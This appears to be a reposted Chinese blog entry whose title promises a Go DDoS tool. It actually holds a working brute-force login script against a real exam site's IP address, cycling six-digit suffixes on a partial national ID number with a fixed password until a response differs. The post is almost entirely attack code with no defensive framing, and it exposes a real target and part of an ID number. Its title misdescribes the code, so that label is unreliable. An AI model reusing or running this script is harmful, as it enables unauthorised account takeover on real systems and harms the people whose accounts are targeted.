zoukankan      html  css  js  c++  java
  • 用golang实现DDOS攻击网站

    package main
    
    
    
    import (
    
    "bytes"
    
    "fmt"
    
    "io/ioutil"
    
    "net/http"
    
    "os"
    
    "strconv"
    
    "strings"
    
    "github.com/op/go-logging"
    
    )
    
    
    
    var logger = logging.MustGetLogger("evil")
    
    var Err []byte
    
    
    
    func init() {
    
    format := logging.MustStringFormatter(`[%{module}] %{time:2006-01-02 15:04:05} [%{level}] [%{longpkg} %{shortfile}] { %{message} }`)
    
    
    
    backendConsole := logging.NewLogBackend(os.Stderr, "", 0)
    
    backendConsole2Formatter := logging.NewBackendFormatter(backendConsole, format)
    
    
    
    logging.SetBackend(backendConsole2Formatter)
    
    }
    
    
    
    func main() {
    
    
    
    for i := 200000; i < 320000; /*000000*/ i++ {
    
    
    
    nonce := strconv.Itoa(i)
    
    if len(nonce) != 6 {
    
    loop := 6 - len(nonce)
    
    for k := 0; k < loop; k++ {
    
    nonce = fmt.Sprint("0", nonce)
    
    }
    
    }
    
    logger.Info(">>>>>>>>>>> ", nonce)
    
    
    
    resp, err := http.Post("http://222.132.30.219:8203/kaoshi/login.asp", "", strings.NewReader(fmt.Sprint("username=370785198703", nonce, "&password=111009")))
    
    if err != nil {
    
    logger.Error(err)
    
    continue
    
    }
    
    logger.Info(resp.StatusCode, resp.StatusCode)
    
    
    
    body, err := ioutil.ReadAll(resp.Body)
    
    if err != nil {
    
    logger.Error(err)
    
    continue
    
    }
    
    
    
    if i == 200000 {
    
    Err = body[:2000]
    
    logger.Info(string(Err))
    
    continue
    
    }
    
    
    
    if bytes.Equal(body[:2000], Err) {
    
    logger.Info("error")
    
    continue
    
    }
    
    
    
    logger.Info(string(body))
    
    break
    
    }
    
    
    
    logger.Warning("not found")
    
    }
  • 相关阅读:
    python中获取今天昨天和明天的日期
    Redis安装系统服务1073错误
    npm 安装删除模块
    git 远程服务器创建项目自动化部署、克隆推送免密码
    A20地址线科普【转载】
    fork 与 vfork
    /bin /usr/bin /sbin /usr/sbin 目录的作用
    Coreutils
    VMware 设置支持UEFI
    npm 发布包
  • 原文地址:https://www.cnblogs.com/hzcya1995/p/13313587.html
Copyright © 2011-2022 走看看